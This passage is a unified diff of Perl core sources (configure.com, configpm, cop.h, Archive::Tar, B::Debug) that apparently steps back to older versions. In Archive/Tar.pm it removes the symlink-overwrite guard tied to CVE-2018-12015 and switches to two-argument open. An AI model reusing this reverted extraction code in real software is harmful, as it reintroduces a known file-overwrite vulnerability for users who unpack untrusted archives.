* This symbol, if defined, indicates that the ttyname_r routine @@ -5105,18 +5229,18 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * REENTRANT_PROTO_T_ABC macros of reentr.h if d_ttyname_r * is defined. */ -#$d_ttyname_r HAS_TTYNAME_R /**/ -#define TTYNAME_R_PROTO $ttyname_r_proto /**/ +#$d_ttyname_r HAS_TTYNAME_R /**/ +#define TTYNAME_R_PROTO $ttyname_r_proto /**/ /* I_MACH_CTHREADS: - * This symbol, if defined, indicates to the C program that it should - * include . + * This symbol, if defined, indicates to the C program that it should + * include . */ #$i_machcthr I_MACH_CTHREADS /**/ /* I_PTHREAD: - * This symbol, if defined, indicates to the C program that it should - * include . + * This symbol, if defined, indicates to the C program that it should + * include . */ #$i_pthread I_PTHREAD /**/ @@ -5160,7 +5284,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un /* HAS_TIMES: * This symbol, if defined, indicates that the times() routine exists. * Note that this became obsolete on some systems (SUNOS), which now - * use getrusage(). It may be necessary to include . + * use getrusage(). It may be necessary to include . */ #$d_times HAS_TIMES /**/ diff --git a/configpm b/configpm index 09c4a3b7a7e3..877bff1f30cb 100755 --- a/configpm +++ b/configpm @@ -35,7 +35,7 @@ usage: $0 [ options ] EOF use strict; -our (%Config, $Config_SH_expanded); +use vars qw(%Config $Config_SH_expanded); my $how_many_common = 22; @@ -155,7 +155,7 @@ $config_txt .= sprintf << 'EOT', $], $export_funcs; package Config; use strict; use warnings; -our ( %%Config, $VERSION ); +use vars '%%Config', '$VERSION'; $VERSION = "%s"; @@ -212,19 +212,6 @@ my $in_v = 0; my %Data = (); my $quote; -# These variables were set in older versions of Perl, but are no longer needed -# by the core. However, some CPAN modules may rely on them; in particular, Tk -# (at least up to version 804.034) fails to build without them. We force them -# to be emitted to Config_heavy.pl for backcompat with such modules (and we may -# find that this set needs to be extended in future). See RT#132347. -my @v_forced = map "$_\n", split /\n+/, <<'EOT'; -i_limits='define' -i_stdlib='define' -i_string='define' -i_time='define' -prototype='define' -EOT - my %seen_quotes; { @@ -261,9 +248,6 @@ my %seen_quotes; else { $quote = $2; ($name,$val) = ($1,$3); - if ($name eq 'cc') { - $val =~ s{^(['"]?+).*\bccache\s+}{$1}; - } } $in_v = $val !~ /$quote\n/; next if $in_v; @@ -332,7 +316,7 @@ die if $@; # Calculation for the keys for byteorder # This is somewhat grim, but I need to run fetch_string here. -$Config_SH_expanded = join "\n", '', @v_others; +our $Config_SH_expanded = join "\n", '', @v_others; my $t = fetch_string ({}, 'ivtype'); my $s = fetch_string ({}, 'ivsize'); @@ -469,7 +453,7 @@ $heavy_txt .= sprintf <<'ENDOFBEG', $osname, $osname, $from, $osname, $env_cygwi package Config; use strict; use warnings; -our %%Config; +use vars '%%Config'; sub bincompat_options { return split ' ', (Internals::V())[0]; @@ -574,15 +558,13 @@ local *_ = \my $a; $_ = <<'!END!'; EOT #proper lexicographical order of the keys -my %seen_var; $heavy_txt .= join('', map { $_->[-1] } sort {$a->[0] cmp $b->[0] } - grep { !$seen_var{ $_->[0] }++ } map { /^([^=]+)/ ? [ $1, $_ ] : [ $_, $_ ] # shouldnt happen - } @v_others, @v_forced + } @v_others ) . "!END!\n"; # Only need the dynamic byteorder code in Config.pm if 'byteorder' is one of diff --git a/configure.com b/configure.com index 5e1781d23f8e..f54722eab891 100644 --- a/configure.com +++ b/configure.com @@ -4222,7 +4222,7 @@ $ echo4 "Nope, since you don't even have fcntl()." $ ENDIF $ d_fcntl_can_lock = tmp $! -$! Check for memrchr +$! Check for memchr $! $ OS $ WS "#if defined(__DECC) || defined(__DECCXX)" @@ -4232,31 +4232,13 @@ $ WS "#include " $ WS "int main()" $ WS "{" $ WS "char * place;" -$ WS "place = (char *)memrchr(""foo"", 47, 3);" +$ WS "place = (char *)memchr(""foo"", 47, 3);" $ WS "exit(0);" $ WS "}" $ CS -$ tmp = "memrchr" +$ tmp = "memchr" $ GOSUB inlibc -$ d_memrchr = tmp -$! -$! Check for strnlen -$! -$ OS -$ WS "#if defined(__DECC) || defined(__DECCXX)" -$ WS "#include " -$ WS "#endif" -$ WS "#include " -$ WS "int main()" -$ WS "{" -$ WS "size_t len;" -$ WS "len = strnlen(""foot"", 3);" -$ WS "exit(0);" -$ WS "}" -$ CS -$ tmp = "strnlen" -$ GOSUB inlibc -$ d_strnlen = tmp +$ d_memchr = tmp $! $! Check for strtoull $! @@ -4401,6 +4383,44 @@ $ tmp = "acess" $ GOSUB inlibc $ d_access = tmp $! +$! Check for bzero +$! +$ OS +$ WS "#if defined(__DECC) || defined(__DECCXX)" +$ WS "#include " +$ WS "#endif" +$ WS "#include " +$ WS "#include " +$ WS "int main()" +$ WS "{" +$ WS "char foo[10];" +$ WS "bzero(foo, 10);" +$ WS "exit(0);" +$ WS "}" +$ CS +$ tmp = "bzero" +$ GOSUB inlibc +$ d_bzero = tmp +$! +$! Check for bcopy +$! +$ OS +$ WS "#if defined(__DECC) || defined(__DECCXX)" +$ WS "#include " +$ WS "#endif" +$ WS "#include " +$ WS "#include " +$ WS "int main()" +$ WS "{" +$ WS "char foo[10], bar[10];" +$ WS "bcopy(""foo"", bar, 3);" +$ WS "exit(0);" +$ WS "}" +$ CS +$ tmp = "bcopy" +$ GOSUB inlibc +$ d_bcopy = tmp +$! $! Check for mkstemp $! $ OS @@ -5336,6 +5356,7 @@ $ ENDIF $ d_attribut="undef" $ ENDIF $! +$ d_bcmp="define" $ d_getitimer="define" $ d_gettimeod="define" $ d_mmap="define" @@ -5353,7 +5374,6 @@ $ d_sigaction="define" $ d_siginfo_si_addr="define" $ d_siginfo_si_band="define" $ d_siginfo_si_errno="define" -$ d_siginfo_si_fd="define" $ d_siginfo_si_pid="define" $ d_siginfo_si_status="define" $ d_siginfo_si_uid="define" @@ -5854,8 +5874,6 @@ $ WC "PERL_CONFIG_SH='true'" $ WC "_a='" + lib_ext + "'" $ WC "_exe='" + exe_ext + "'" $ WC "_o='" + obj_ext + "'" -$ WC "afs='undef'" -$ WC "afsroot='/afs'" $ WC "alignbytes='" + alignbytes + "'" $ WC "aphostname='write sys$output f$edit(f$getsyi(\""SCSNODE\""),\""TRIM,LOWERCASE\"")'" $ WC "api_revision='" + api_revision + "'" @@ -5928,7 +5946,6 @@ $ WC "d_PRIu64='" + d_PRIu64 + "'" $ WC "d_PRIx64='" + d_PRIx64 + "'" $ WC "d_SCNfldbl='" + d_SCNfldbl + "'" $ WC "d__fwalk='undef'" -$ WC "d_accept4='undef'" $ WC "d_access='" + d_access + "'" $ WC "d_accessx='undef'" $ WC "d_acosh='" + d_acosh + "'" @@ -5951,18 +5968,19 @@ $ WC "d_attribute_warn_unused_result='undef'" $ WC "d_prctl='undef'" $ WC "d_prctl_set_name='undef'" $ WC "d_printf_format_null='undef'" +$ WC "d_bcmp='" + d_bcmp + "'" +$ WC "d_bcopy='" + d_bcopy + "'" $ WC "d_bincompat3='undef'" $ WC "d_bsd='undef'" $ WC "d_bsdgetpgrp='undef'" $ WC "d_bsdsetpgrp='undef'" $ WC "d_builtin_choose_expr='undef'" ! GCC only $ WC "d_builtin_expect='undef'" ! GCC only -$ WC "d_builtin_add_overflow='undef'" ! GCC only -$ WC "d_builtin_mul_overflow='undef'" ! GCC only -$ WC "d_builtin_sub_overflow='undef'" ! GCC only +$ WC "d_bzero='" + d_bzero + "'" $ WC "d_casti32='define'" $ WC "d_castneg='define'" $ WC "d_cbrt='" + d_cbrt + "'" +$ WC "d_charvspr='undef'" $ WC "d_chown='define'" $ WC "d_chroot='undef'" $ WC "d_chsize='undef'" @@ -6008,8 +6026,6 @@ $ WC "d_double_style_ieee='" + d_double_style_ieee + "'" $ WC "d_double_style_vax='" + d_double_style_vax + "'" $ WC "d_drand48proto='" + d_drand48proto + "'" $ WC "d_dup2='define'" -$ WC "d_dup3='undef'" -$ WC "d_duplocale='undef'" $ WC "d_eaccess='undef'" $ WC "d_endgrent='define'" $ WC "d_endhent='" + d_endhent + "'" @@ -6023,14 +6039,9 @@ $ WC "d_erfc='" + d_erfc + "'" $ WC "d_eunice='undef'" $ WC "d_exp2='" + d_exp2 + "'" $ WC "d_expm1='" + d_expm1 + "'" -$ IF ("''F$EXTRACT(1,3, F$GETSYI(""VERSION""))'".GES."8.3") -$ THEN -$ WC "d_fchmod='define'" -$ ELSE -$ WC "d_fchmod='undef'" -$ ENDIF +$ WC "d_fchmod='undef'" $ WC "d_fchdir='undef'" -$ WC "d_fchown='define'" +$ WC "d_fchown='undef'" $ WC "d_fcntl='" + d_fcntl + "'" $ WC "d_fcntl_can_lock='" + d_fcntl_can_lock + "'" $ WC "d_fd_set='" + d_fd_set + "'" @@ -6157,7 +6168,6 @@ $ WC "d_llrintl='undef'" $ WC "d_llround='undef'" $ WC "d_llroundl='undef'" $ WC "d_llseek='undef'" -$ WC "d_localeconv_l='undef'" $ WC "d_localtime64='undef'" $ WC "d_locconv='" + d_locconv + "'" $ WC "d_lc_monetary_2008='undef'" @@ -6182,17 +6192,18 @@ $ WC "d_madvise='undef'" $ WC "d_malloc_size='undef'" $ WC "d_malloc_good_size='undef'" $ WC "d_mblen='" + d_mblen + "'" -$ WC "d_mbrlen='define'" -$ WC "d_mbrtowc='define'" $ WC "d_mbstowcs='" + d_mbstowcs + "'" $ WC "d_mbtowc='" + d_mbtowc + "'" +$ WC "d_memchr='" + d_memchr + "'" +$ WC "d_memcmp='define'" +$ WC "d_memcpy='define'" $ WC "d_memmem='undef'" -$ WC "d_memrchr='" + d_memrchr + "'" +$ WC "d_memmove='define'" +$ WC "d_memset='define'" $ WC "d_mkdir='define'" $ WC "d_mkdtemp='" + d_mkdtemp + "'" $ WC "d_mkfifo='undef'" $ WC "d_mknod='undef'" -$ WC "d_mkostemp='undef'" $ WC "d_mkstemp='" + d_mkstemp + "'" $ WC "d_mkstemps='" + d_mkstemps + "'" $ WC "d_mktime='" + d_mktime + "'" @@ -6235,17 +6246,11 @@ $ WC "d_oldarchlib='define'" $ WC "d_oldpthreads='" + d_oldpthreads + "'" $ WC "d_oldsock='undef'" $ WC "d_open3='define'" -$ WC "d_openat='undef'" -$ WC "d_unlinkat='undef'" -$ WC "d_renameat='undef'" -$ WC "d_linkat='undef'" -$ WC "d_fchmodat='undef'" $ WC "d_pathconf='" + d_pathconf + "'" $ WC "d_pause='define'" $ WC "d_perl_otherlibdirs='undef'" $ WC "d_phostname='" + d_phostname + "'" $ WC "d_pipe='define'" -$ WC "d_pipe2='undef'" $ WC "d_poll='" + d_poll + "'" $ WC "d_portable='define'" $ WC "d_procselfexe='undef'" @@ -6265,13 +6270,11 @@ $ WC "d_pwpasswd='define'" $ WC "d_pwquota='undef'" $ WC "d_qgcvt='undef'" $ WC "d_quad='" + d_quad + "'" -$ WC "d_re_comp='undef'" $ WC "d_readdir='define'" $ WC "d_readlink='" + d_readlink + "'" -$ WC "d_readv='define'" +$ WC "d_readv='undef'" $ WC "d_realpath='" + d_realpath + "'" -$ WC "d_recvmsg='define'" -$ WC "d_regcmp='undef'" +$ WC "d_recvmsg='undef'" $ WC "d_regcomp='undef'" $ WC "d_remainder='" + d_remainder + "'" $ WC "d_remquo='" + d_remquo + "'" @@ -6280,6 +6283,9 @@ $ WC "d_rewinddir='define'" $ WC "d_rint='" + d_rint + "'" $ WC "d_rmdir='define'" $ WC "d_round='undef'" +$ WC "d_safebcpy='undef'" +$ WC "d_safemcpy='define'" +$ WC "d_sanemcmp='define'" $ WC "d_sbrkproto='define'" $ WC "d_scalbn='undef'" $ WC "d_scalbnl='undef'" @@ -6303,7 +6309,7 @@ $ WC "d_semctl_semun='undef'" $ WC "d_semget='undef'" $ WC "d_semop='undef'" $ ENDIF -$ WC "d_sendmsg='define'" +$ WC "d_sendmsg='undef'" $ WC "d_setegid='undef'" $ WC "d_setenv='" + d_setenv + "'" $ WC "d_seteuid='" + d_seteuid + "'" @@ -6340,7 +6346,6 @@ $ WC "d_sigaction='" + d_sigaction + "'" $ WC "d_siginfo_si_addr='" + d_siginfo_si_addr + "'" $ WC "d_siginfo_si_band='" + d_siginfo_si_band + "'" $ WC "d_siginfo_si_errno='" + d_siginfo_si_errno + "'" -$ WC "d_siginfo_si_fd='" + d_siginfo_si_fd + "'" $ WC "d_siginfo_si_pid='" + d_siginfo_si_pid + "'" $ WC "d_siginfo_si_status='" + d_siginfo_si_status + "'" $ WC "d_siginfo_si_uid='" + d_siginfo_si_uid + "'" @@ -6358,6 +6363,7 @@ $ WC "d_socket='" + d_socket + "'" $ WC "d_socklen_t='" + d_socklen_t + "'" $ WC "d_sockpair='" + d_sockpair + "'" $ WC "d_socks5_init='undef'" +$ WC "d_sprintf_returns_strlen='define'" $ WC "d_sqrtl='define'" $ WC "d_sresgproto='undef'" $ WC "d_sresgproto='undef'" @@ -6378,16 +6384,17 @@ $ WC "d_stdiobase='" + d_stdiobase + "'" $ WC "d_stdstdio='" + d_stdstdio + "'" $ WC "d_faststdio='" + d_faststdio + "'" $ WC "d_statvfs='" + d_statvfs + "'" +$ WC "d_strchr='define'" $ WC "d_strcoll='" + d_strcoll + "'" +$ WC "d_strctcpy='define'" +$ WC "d_strerrm='strerror((e),vaxc$errno)'" +$ WC "d_strerror='define'" $ WC "d_strftime='define'" $ WC "d_strlcat='undef'" $ WC "d_strlcpy='undef'" -$ WC "d_strnlen='" + d_strnlen + "'" $ WC "d_strtod='define'" -$ WC "d_strtod_l='undef'" $ WC "d_strtol='define'" $ WC "d_strtold='" + d_strtold + "'" -$ WC "d_strtold_l='undef'" $ WC "d_strtoll='" + d_strtoll + "'" $ WC "d_strtoq='" + d_strtoq + "'" $ WC "d_strtoul='define'" @@ -6407,7 +6414,6 @@ $ WC "d_tcsetpgrp='undef'" $ WC "d_telldir='define'" $ WC "d_telldirproto='define'" $ WC "d_tgamma='" + d_tgamma + "'" -$ WC "d_thread_safe_nl_langinfo_l='undef'" $ WC "d_time='define'" $ WC "d_timegm='undef'" $ WC "d_times='define'" @@ -6446,6 +6452,8 @@ $ WC "d_vms_shorten_long_symbols='" + d_vms_shorten_long_symbols + "'" ! VMS $ WC "d_void_closedir='define'" $ WC "d_voidsig='undef'" $ WC "d_voidtty='" + "'" +$ WC "d_volatile='define'" +$ WC "d_vprintf='define'" $ WC "d_vsnprintf='" + d_vsnprintf + "'" $ WC "d_wait4='" + d_wait4 + "'" $ WC "d_waitpid='define'" @@ -6453,7 +6461,7 @@ $ WC "d_wcscmp='define'" $ WC "d_wcstombs='define'" $ WC "d_wcsxfrm='define'" $ WC "d_wctomb='define'" -$ WC "d_writev='define'" +$ WC "d_writev='undef'" $ WC "d_xenix='undef'" $ WC "db_hashtype=' '" $ WC "db_prefixtype=' '" @@ -6515,6 +6523,7 @@ $ WC "i64type='" + i64type + "'" $ WC "i8size='" + i8size + "'" $ WC "i8type='" + i8type + "'" $ WC "i_arpainet='" + i_arpainet + "'" +$ WC "i_assert='define'" $ WC "i_bfd='undef'" $ WC "i_bsdioctl='undef'" $ WC "i_crypt='undef'" @@ -6525,6 +6534,7 @@ $ WC "i_dlfcn='undef'" $ WC "i_execinfo='undef'" $ WC "i_fcntl='" + i_fcntl + "'" $ WC "i_fenv='undef'" +$ WC "i_float='define'" $ WC "i_fp='undef'" $ WC "i_fp_class='undef'" $ WC "i_gdbm='undef'" @@ -6535,11 +6545,14 @@ $ WC "i_ieeefp='undef'" $ WC "i_inttypes='" + i_inttypes + "'" $ WC "i_langinfo='" + i_langinfo + "'" $ WC "i_libutil='" + i_libutil + "'" +$ WC "i_limits='define'" $ WC "i_locale='" + i_locale + "'" $ WC "i_machcthr='undef'" $ WC "i_machcthreads='undef'" $ WC "i_malloc='undef'" $ WC "i_mallocmalloc='undef'" +$ WC "i_math='define'" +$ WC "i_memory='undef'" $ WC "i_mntent='undef'" $ WC "i_ndbm='undef'" $ WC "i_netdb='" + i_netdb + "'" @@ -6555,14 +6568,17 @@ $ WC "i_rpcsvcdbm='undef'" $ WC "i_sgtty='undef'" $ WC "i_shadow='" + i_shadow + "'" $ WC "i_socks='" + i_socks + "'" +$ WC "i_stdarg='define'" $ IF ccname .EQS. "DEC" .AND. F$INTEGER(Dec_C_Version).GE.60400000 $ THEN $ WC "i_stdbool='define'" $ ELSE $ WC "i_stdbool='undef'" $ ENDIF +$ WC "i_stddef='define'" $ WC "i_stdint='undef'" $ WC "i_stdlib='define'" +$ WC "i_string='define'" $ WC "i_sunmath='undef'" $ WC "i_sysaccess='" + i_sysaccess + "'" $ WC "i_sysdir='undef'" @@ -6599,8 +6615,10 @@ $ WC "i_time='define'" $ WC "i_unistd='" + i_unistd + "'" $ WC "i_ustat='undef'" $ WC "i_utime='" + i_utime + "'" +$ WC "i_values='undef'" +$ WC "i_varargs='undef'" +$ WC "i_varhdr='stdarg.h'" $ WC "i_vfork='undef'" -$ WC "i_wchar='define'" $ WC "i_xlocale='undef'" $ WC "inc_version_list='0'" $ WC "inc_version_list_init='0'" @@ -6852,6 +6870,7 @@ $ WC "uvuformat='" + uvuformat + "'" $ WC "uvxformat='" + uvxformat + "'" $ WC "uvXUformat='" + uvXUformat + "'" $ WC "vendorarch='" + "'" +$ WC "vaproto='define'" $ WC "vendorarchexp='" + "'" $ WC "vendorbin='" + "'" $ WC "vendorbinexp='" + "'" @@ -6892,7 +6911,7 @@ $ WC "d_endprotoent_r='undef'" $ WC "d_endpwent_r='undef'" $ WC "d_endservent_r='undef'" $ WC "d_freelocale='undef'" -$ WC "d_gai_strerror='define'" +$ WC "d_gai_strerror='undef'" $ WC "d_getgrent_r='undef'" $ WC "d_getgrgid_r='" + d_getgrgid_r + "'" $ WC "d_getgrnam_r='" + d_getgrnam_r + "'" diff --git a/cop.h b/cop.h index 5c66752859ea..0443e24c6678 100644 --- a/cop.h +++ b/cop.h @@ -35,24 +35,10 @@ struct jmpenv { int je_ret; /* last exception thrown */ bool je_mustcatch; /* need to call longjmp()? */ U16 je_old_delaymagic; /* saved PL_delaymagic */ - SSize_t je_old_stack_hwm; }; typedef struct jmpenv JMPENV; -#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY -# define JE_OLD_STACK_HWM_zero PL_start_env.je_old_stack_hwm = 0 -# define JE_OLD_STACK_HWM_save(je) \ - (je).je_old_stack_hwm = PL_curstackinfo->si_stack_hwm -# define JE_OLD_STACK_HWM_restore(je) \ - if (PL_curstackinfo->si_stack_hwm < (je).je_old_stack_hwm) \ - PL_curstackinfo->si_stack_hwm = (je).je_old_stack_hwm -#else -# define JE_OLD_STACK_HWM_zero NOOP -# define JE_OLD_STACK_HWM_save(je) NOOP -# define JE_OLD_STACK_HWM_restore(je) NOOP -#endif - /* * How to build the first jmpenv. * @@ -71,7 +57,6 @@ typedef struct jmpenv JMPENV; PL_start_env.je_ret = -1; \ PL_start_env.je_mustcatch = TRUE; \ PL_start_env.je_old_delaymagic = 0; \ - JE_OLD_STACK_HWM_zero; \ } STMT_END /* @@ -117,9 +102,7 @@ typedef struct jmpenv JMPENV; Perl_deb(aTHX_ "JUMPENV_PUSH level=%d at %s:%d\n", \ i, __FILE__, __LINE__);}) \ cur_env.je_prev = PL_top_env; \ - JE_OLD_STACK_HWM_save(cur_env); \ cur_env.je_ret = PerlProc_setjmp(cur_env.je_buf, SCOPE_SAVES_SIGNAL_MASK); \ - JE_OLD_STACK_HWM_restore(cur_env); \ PL_top_env = &cur_env; \ cur_env.je_mustcatch = FALSE; \ cur_env.je_old_delaymagic = PL_delaymagic; \ @@ -190,9 +173,9 @@ associated with the key. Perl_refcounted_he_fetch_pvn(aTHX_ cophh, keypv, keylen, hash, flags) /* -=for apidoc Amx|SV *|cophh_fetch_pvs|const COPHH *cophh|"literal string" key|U32 flags +=for apidoc Amx|SV *|cophh_fetch_pvs|const COPHH *cophh|const char *key|U32 flags -Like L, but takes a literal string instead +Like L, but takes a C-terminated literal string instead of a string/length pair, and no precomputed hash. =cut @@ -296,9 +279,9 @@ be stored with referential integrity, but will be coerced to strings. Perl_refcounted_he_new_pvn(aTHX_ cophh, keypv, keylen, hash, value, flags) /* -=for apidoc Amx|COPHH *|cophh_store_pvs|const COPHH *cophh|"literal string" key|SV *value|U32 flags +=for apidoc Amx|COPHH *|cophh_store_pvs|const COPHH *cophh|const char *key|SV *value|U32 flags -Like L, but takes a literal string instead +Like L, but takes a C-terminated literal string instead of a string/length pair, and no precomputed hash. =cut @@ -353,9 +336,9 @@ hash of the key string, or zero if it has not been precomputed. (SV *)NULL, flags) /* -=for apidoc Amx|COPHH *|cophh_delete_pvs|const COPHH *cophh|"literal string" key|U32 flags +=for apidoc Amx|COPHH *|cophh_delete_pvs|const COPHH *cophh|const char *key|U32 flags -Like L, but takes a literal string instead +Like L, but takes a C-terminated literal string instead of a string/length pair, and no precomputed hash. =cut @@ -493,9 +476,9 @@ associated with the key. cophh_fetch_pvn(CopHINTHASH_get(cop), keypv, keylen, hash, flags) /* -=for apidoc Am|SV *|cop_hints_fetch_pvs|const COP *cop|"literal string" key|U32 flags +=for apidoc Am|SV *|cop_hints_fetch_pvs|const COP *cop|const char *key|U32 flags -Like L, but takes a literal string +Like L, but takes a C-terminated literal string instead of a string/length pair, and no precomputed hash. =cut @@ -1011,12 +994,6 @@ struct stackinfo { I32 si_markoff; /* offset where markstack begins for us. * currently used only with DEBUGGING, * but not #ifdef-ed for bincompat */ -#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY -/* high water mark: for checking if the stack was correctly extended / - * tested for extension by each pp function */ - SSize_t si_stack_hwm; -#endif - }; typedef struct stackinfo PERL_SI; @@ -1032,12 +1009,6 @@ typedef struct stackinfo PERL_SI; # define SET_MARK_OFFSET NOOP #endif -#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY -# define PUSHSTACK_INIT_HWM(si) ((si)->si_stack_hwm = 0) -#else -# define PUSHSTACK_INIT_HWM(si) NOOP -#endif - #define PUSHSTACKi(type) \ STMT_START { \ PERL_SI *next = PL_curstackinfo->si_next; \ @@ -1053,7 +1024,6 @@ typedef struct stackinfo PERL_SI; } \ next->si_type = type; \ next->si_cxix = -1; \ - PUSHSTACK_INIT_HWM(next); \ AvFILLp(next->si_stack) = 0; \ SWITCHSTACK(PL_curstack,next->si_stack); \ PL_curstackinfo = next; \ diff --git a/cpan/Archive-Tar/lib/Archive/Tar.pm b/cpan/Archive-Tar/lib/Archive/Tar.pm index e08b5e590337..d63e586317e7 100644 --- a/cpan/Archive-Tar/lib/Archive/Tar.pm +++ b/cpan/Archive-Tar/lib/Archive/Tar.pm @@ -31,7 +31,7 @@ use vars qw[$DEBUG $error $VERSION $WARN $FOLLOW_SYMLINK $CHOWN $CHMOD $DEBUG = 0; $WARN = 1; $FOLLOW_SYMLINK = 0; -$VERSION = "2.30"; +$VERSION = "2.24"; $CHOWN = 1; $CHMOD = 1; $SAME_PERMISSIONS = $> == 0 ? 1 : 0; @@ -601,7 +601,6 @@ sub extract { my $self = shift; my @args = @_; my @files; - my $hashmap; # use the speed optimization for all extracted files local($self->{cwd}) = cwd() unless $self->{cwd}; @@ -618,15 +617,16 @@ sub extract { ### go find it then } else { - # create hash-map once to speed up lookup - $hashmap = $hashmap || { - map { $_->full_path, $_ } @{$self->_data} - }; + my $found; + for my $entry ( @{$self->_data} ) { + next unless $file eq $entry->full_path; - if (exists $hashmap->{$file}) { ### we found the file you're looking for - push @files, $hashmap->{$file}; - } else { + push @files, $entry; + $found++; + } + + unless( $found ) { return $self->_error( qq[Could not find '$file' in archive] ); } @@ -845,23 +845,9 @@ sub _extract_file { return; } - ### If a file system already contains a block device with the same name as - ### the being extracted regular file, we would write the file's content - ### to the block device. So remove the existing file (block device) now. - ### If an archive contains multiple same-named entries, the last one - ### should replace the previous ones. So remove the old file now. - ### If the old entry is a symlink to a file outside of the CWD, the new - ### entry would create a file there. This is CVE-2018-12015 - ### . - if (-l $full || -e _) { - if (!unlink $full) { - $self->_error( qq[Could not remove old file '$full': $!] ); - return; - } - } if( length $entry->type && $entry->is_file ) { my $fh = IO::File->new; - $fh->open( $full, '>' ) or ( + $fh->open( '>' . $full ) or ( $self->_error( qq[Could not open file '$full': $!] ), return ); @@ -1770,8 +1756,7 @@ Example usage: sub iter { my $class = shift; - my $filename = shift; - return unless defined $filename; + my $filename = shift or return; my $compressed = shift || 0; my $opts = shift || {}; @@ -2264,7 +2249,7 @@ For example, if you add a Unicode string like $tar->add_data('file.txt', "Euro: \x{20AC}"); then there will be a problem later when the tarfile gets written out -to disk via C<< $tar->write() >>: +to disk via C<$tar->write()>: Wide character in print at .../Archive/Tar.pm line 1014. diff --git a/cpan/Archive-Tar/lib/Archive/Tar/Constant.pm b/cpan/Archive-Tar/lib/Archive/Tar/Constant.pm index 66fad51a07a6..6488d653f988 100644 --- a/cpan/Archive-Tar/lib/Archive/Tar/Constant.pm +++ b/cpan/Archive-Tar/lib/Archive/Tar/Constant.pm @@ -3,7 +3,7 @@ package Archive::Tar::Constant; BEGIN { require Exporter; - $VERSION = '2.30'; + $VERSION = '2.24'; @ISA = qw[Exporter]; require Time::Local if $^O eq "MacOS"; diff --git a/cpan/Archive-Tar/lib/Archive/Tar/File.pm b/cpan/Archive-Tar/lib/Archive/Tar/File.pm index b6fbecf6c9a1..dc4c4c77a01a 100644 --- a/cpan/Archive-Tar/lib/Archive/Tar/File.pm +++ b/cpan/Archive-Tar/lib/Archive/Tar/File.pm @@ -13,7 +13,7 @@ use Archive::Tar::Constant; use vars qw[@ISA $VERSION]; #@ISA = qw[Archive::Tar]; -$VERSION = '2.30'; +$VERSION = '2.24'; ### set value to 1 to oct() it during the unpack ### @@ -396,7 +396,12 @@ sub _prefix_and_file { my $path = shift; my ($vol, $dirs, $file) = File::Spec->splitpath( $path, $self->is_dir ); - my @dirs = File::Spec->splitdir( File::Spec->canonpath($dirs) ); + my @dirs = File::Spec->splitdir( $dirs ); + + ### so sometimes the last element is '' -- probably when trailing + ### dir slashes are encountered... this is of course pointless, + ### so remove it + pop @dirs while @dirs and not length $dirs[-1]; ### if it's a directory, then $file might be empty $file = pop @dirs if $self->is_dir and not length $file; @@ -404,7 +409,9 @@ sub _prefix_and_file { ### splitting ../ gives you the relative path in native syntax map { $_ = '..' if $_ eq '-' } @dirs if ON_VMS; - my $prefix = File::Spec::Unix->catdir(@dirs); + my $prefix = File::Spec::Unix->catdir( + grep { length } $vol, @dirs + ); return( $prefix, $file ); } diff --git a/cpan/Archive-Tar/t/04_resolved_issues.t b/cpan/Archive-Tar/t/04_resolved_issues.t index 4991d9a67b41..4572b872be5b 100644 --- a/cpan/Archive-Tar/t/04_resolved_issues.t +++ b/cpan/Archive-Tar/t/04_resolved_issues.t @@ -247,35 +247,3 @@ use_ok( $FileClass ); clean_78030(); unlink $archname; } - -### bug 97748 -### retain leading '/' for absolute pathnames. -{ ok( 1, "Testing bug 97748" ); - my $path= '/absolute/path'; - my $tar = $Class->new; - isa_ok( $tar, $Class, " Object" ); - my $file; - - ok( $file = $tar->add_data( $path, '' ), - " Added $path" ); - - ok( $file->full_path eq $path, - " Paths mismatch <" . $file->full_path . "> ne <$path>" ); -} - -### bug 103279 -### retain trailing whitespace on filename -{ - ok( 1, "Testing bug 103279" ); - my $tar = $Class->new; - isa_ok( $tar, $Class, " Object" ); - ok( $tar->add_data( 'white_space ', '' ), - " Add file containing filename with trailing whitespace"); - ok( $tar->extract(), " Extract filename with trailing whitespace" ); - SKIP: { - skip "Windows tries to be clever", 1 if $^O eq 'MSWin32'; - ok( ! -e 'white_space', " should not exist" ); - } - ok( -e 'white_space ', " should exist" ); - unlink foreach ('white_space ', 'white_space'); -} diff --git a/cpan/B-Debug/Debug.pm b/cpan/B-Debug/Debug.pm index d121cbbcfa64..e295635d3591 100644 --- a/cpan/B-Debug/Debug.pm +++ b/cpan/B-Debug/Debug.pm @@ -1,11 +1,10 @@ package B::Debug; -our $VERSION = '1.26'; -BEGIN { if ($] >= 5.027001) { require deprecate; import deprecate; } } +our $VERSION = '1.24'; use strict; require 5.006; -use B qw(peekop walkoptree walkoptree_exec +use B qw(peekop class walkoptree walkoptree_exec main_start main_root cstring sv_undef SVf_NOK SVf_IOK); use Config; my (@optype, @specialsv_name); @@ -38,7 +37,7 @@ sub _printop { my $addr = ${$op} ? $op->ppaddr : ''; $addr =~ s/^PL_ppaddr// if $addr; if (${$op}) { - return sprintf "0x%08x %6s %s", ${$op}, B::class($op), $addr; + return sprintf "0x%08x %6s %s", ${$op}, class($op), $addr; } else { return sprintf "0x%x %6s %s", ${$op}, '', $addr; } @@ -46,7 +45,7 @@ sub _printop { sub B::OP::debug { my ($op) = @_; - printf <<'EOT', B::class($op), $$op, _printop($op), _printop($op->next), _printop($op->sibling), $op->targ, $op->type, $op->name; + printf <<'EOT', class($op), $$op, _printop($op), _printop($op->next), _printop($op->sibling), $op->targ, $op->type, $op->name; %s (0x%lx) op_ppaddr %s op_next %s @@ -65,18 +64,13 @@ EOT } if ($have_B_Flags) { printf <<'EOT', $op->flags, $op->flagspv, $op->private, $op->privatepv; - op_flags %u %s - op_private %u %s + op_flags %d %s + op_private %d %s EOT } else { printf <<'EOT', $op->flags, $op->private; - op_flags %u - op_private %u -EOT - } - if ($op->can('rettype')) { - printf <<'EOT', $op->rettype; - op_rettype %u + op_flags %d + op_private %d EOT } } @@ -149,7 +143,7 @@ sub B::COP::debug { cop_warnings 0x%x EOT if ($] > 5.008 and $] < 5.011) { - my $cop_io = B::class($op->io) eq 'SPECIAL' ? '' : $op->io->as_string; + my $cop_io = class($op->io) eq 'SPECIAL' ? '' : $op->io->as_string; printf(" cop_io %s\n", cstring($cop_io)); } } @@ -173,16 +167,6 